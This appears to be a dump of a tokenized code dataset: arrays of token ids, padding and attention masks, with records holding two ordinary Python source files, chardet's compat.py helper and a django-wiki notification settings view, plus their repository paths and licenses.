32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
run2/citytour
|
4symantec/Lib/site-packages/pip/_vendor/requests/packages/chardet/compat.py
|
2943
|
1157
|
######################## BEGIN LICENSE BLOCK ########################
# Contributor(s):
# Ian Cordasco - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
import sys
if sys.version_info < (3, 0):
base_str = (str, unicode)
else:
base_str = (bytes, str)
def wrap_ord(a):
if sys.version_info < (3, 0) and isinstance(a, base_str):
return ord(a)
else:
return a
|
mit
|
[
6565,
16427,
5113,
8068,
11945,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
473,
290,
445,
2181,
305,
331,
446,
1844,
370,
2018,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
646,
984,
421,
199,
692,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
304,
272,
1300,
63,
495,
275,
334,
495,
12,
2649,
9,
199,
2836,
26,
272,
1300,
63,
495,
275,
334,
2394,
12,
620,
9,
421,
199,
318,
4816,
63,
2181,
8,
65,
304,
272,
340,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
9,
436,
1228,
8,
65,
12,
1300,
63,
495,
304,
267,
372,
6206,
8,
65,
9,
272,
587,
26,
267,
372,
282,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
16427,
5113,
8068,
11945,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
473,
290,
445,
2181,
305,
331,
446,
1844,
370,
2018,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
646,
984,
421,
199,
692,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
304,
272,
1300,
63,
495,
275,
334,
495,
12,
2649,
9,
199,
2836,
26,
272,
1300,
63,
495,
275,
334,
2394,
12,
620,
9,
421,
199,
318,
4816,
63,
2181,
8,
65,
304,
272,
340,
984,
14,
1023,
63,
815,
665,
334,
19,
12,
378,
9,
436,
1228,
8,
65,
12,
1300,
63,
495,
304,
267,
372,
6206,
8,
65,
9,
272,
587,
26,
267,
372,
282,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
inflrscns/django-wiki
|
wiki/plugins/notifications/views.py
|
1
|
2273
|
from __future__ import unicode_literals
from __future__ import absolute_import
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.shortcuts import redirect
from django.utils.decorators import method_decorator
from django.utils.translation import ugettext as _
from django.views.generic.edit import FormView
from . import forms
from . import models
class NotificationSettings(FormView):
template_name = 'wiki/plugins/notifications/settings.html'
form_class = forms.SettingsFormSet
@method_decorator(login_required)
def dispatch(self, request, *args, **kwargs):
return super(
NotificationSettings,
self).dispatch(
request,
*args,
**kwargs)
def form_valid(self, formset):
for form in formset:
settings = form.save()
messages.info(
self.request,
_("You will receive notifications %(interval)s for "
"%(articles)d articles") % {
'interval': settings.get_interval_display(),
'articles': self.get_article_subscriptions(form.instance).count(),
}
)
return redirect('wiki:notification_settings')
def get_article_subscriptions(self, nyt_settings):
return models.ArticleSubscription.objects.filter(
subscription__settings=nyt_settings,
article__current_revision__deleted=False,
).select_related(
'article',
'article__current_revision'
).distinct()
def get_form_kwargs(self):
kwargs = FormView.get_form_kwargs(self)
kwargs['user'] = self.request.user
return kwargs
def get_context_data(self, **kwargs):
context = FormView.get_context_data(self, **kwargs)
if 'form' not in context:
context['form'] = self.get_form()
context['formset'] = kwargs['form']
for form in context['formset']:
if form.instance:
setattr(
form.instance,
'articlesubscriptions',
self.get_article_subscriptions(form.instance)
)
return context
|
gpl-3.0
|
[
504,
636,
2443,
363,
492,
2649,
63,
5955,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
1639,
14,
2828,
492,
3788,
199,
504,
1639,
14,
2828,
14,
1178,
14,
11582,
492,
4676,
63,
2427,
199,
504,
1639,
14,
17469,
492,
4660,
199,
504,
1639,
14,
1208,
14,
11582,
492,
1083,
63,
11547,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
465,
485,
199,
504,
1639,
14,
4196,
14,
6767,
14,
3773,
492,
8204,
2768,
199,
199,
504,
1275,
492,
4513,
199,
504,
1275,
492,
1709,
421,
199,
533,
23362,
5268,
8,
2821,
2768,
304,
339,
1978,
63,
354,
275,
283,
6797,
15,
5265,
15,
12782,
15,
1751,
14,
1360,
7,
272,
1824,
63,
533,
275,
4513,
14,
5268,
14736,
339,
768,
765,
63,
11547,
8,
2886,
63,
2427,
9,
272,
347,
7634,
8,
277,
12,
1056,
12,
627,
589,
12,
1011,
958,
304,
267,
372,
1613,
8,
288,
23362,
5268,
12,
288,
291,
680,
6052,
8,
288,
1056,
12,
288,
627,
589,
12,
288,
1011,
958,
9,
339,
347,
1824,
63,
1078,
8,
277,
12,
11068,
304,
267,
367,
1824,
315,
11068,
26,
288,
2202,
275,
1824,
14,
2117,
342,
288,
3788,
14,
815,
8,
355,
291,
14,
1069,
12,
355,
3824,
5556,
911,
9128,
13116,
2818,
4284,
9,
83,
367,
298,
2116,
11792,
19813,
9,
68,
23242,
531,
450,
469,
490,
283,
4284,
356,
2202,
14,
362,
63,
4284,
63,
2918,
1062,
490,
283,
19813,
356,
291,
14,
362,
63,
6934,
63,
13233,
8,
964,
14,
842,
680,
835,
1062,
355,
789,
288,
776,
267,
372,
4660,
360,
6797,
26,
6761,
63,
1751,
358,
339,
347,
664,
63,
6934,
63,
13233,
8,
277,
12,
302,
24264,
63,
1751,
304,
267,
372,
1709,
14,
7221,
19120,
14,
1462,
14,
1541,
8,
288,
9966,
363,
1751,
29,
9745,
84,
63,
1751,
12,
288,
9772,
363,
1818,
63,
5792,
363,
6062,
29,
797,
12,
267,
7092,
2416,
63,
2407,
8,
288,
283,
6934,
297,
288,
283,
6934,
363,
1818,
63,
5792,
7,
267,
7092,
12926,
342,
339,
347,
664,
63,
964,
63,
958,
8,
277,
304,
267,
2074,
275,
8204,
2768,
14,
362,
63,
964,
63,
958,
8,
277,
9,
267,
2074,
459,
751,
418,
275,
291,
14,
1069,
14,
751,
267,
372,
2074,
339,
347,
664,
63,
1100,
63,
576,
8,
277,
12,
1011,
958,
304,
267,
1067,
275,
8204,
2768,
14,
362,
63,
1100,
63,
576,
8,
277,
12,
1011,
958,
9,
267,
340,
283,
964,
7,
440,
315,
1067,
26,
288,
1067,
459,
964,
418,
275,
291,
14,
362,
63,
964,
342,
267,
1067,
459,
10724,
418,
275,
2074,
459,
964,
418,
267,
367,
1824,
315,
1067,
459,
10724,
2565,
288,
340,
1824,
14,
842,
26,
355,
5371,
8,
490,
1824,
14,
842,
12,
490,
283,
6934,
13233,
297,
490,
291,
14,
362,
63,
6934,
63,
13233,
8,
964,
14,
842,
9,
355,
776,
267,
372,
1067,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
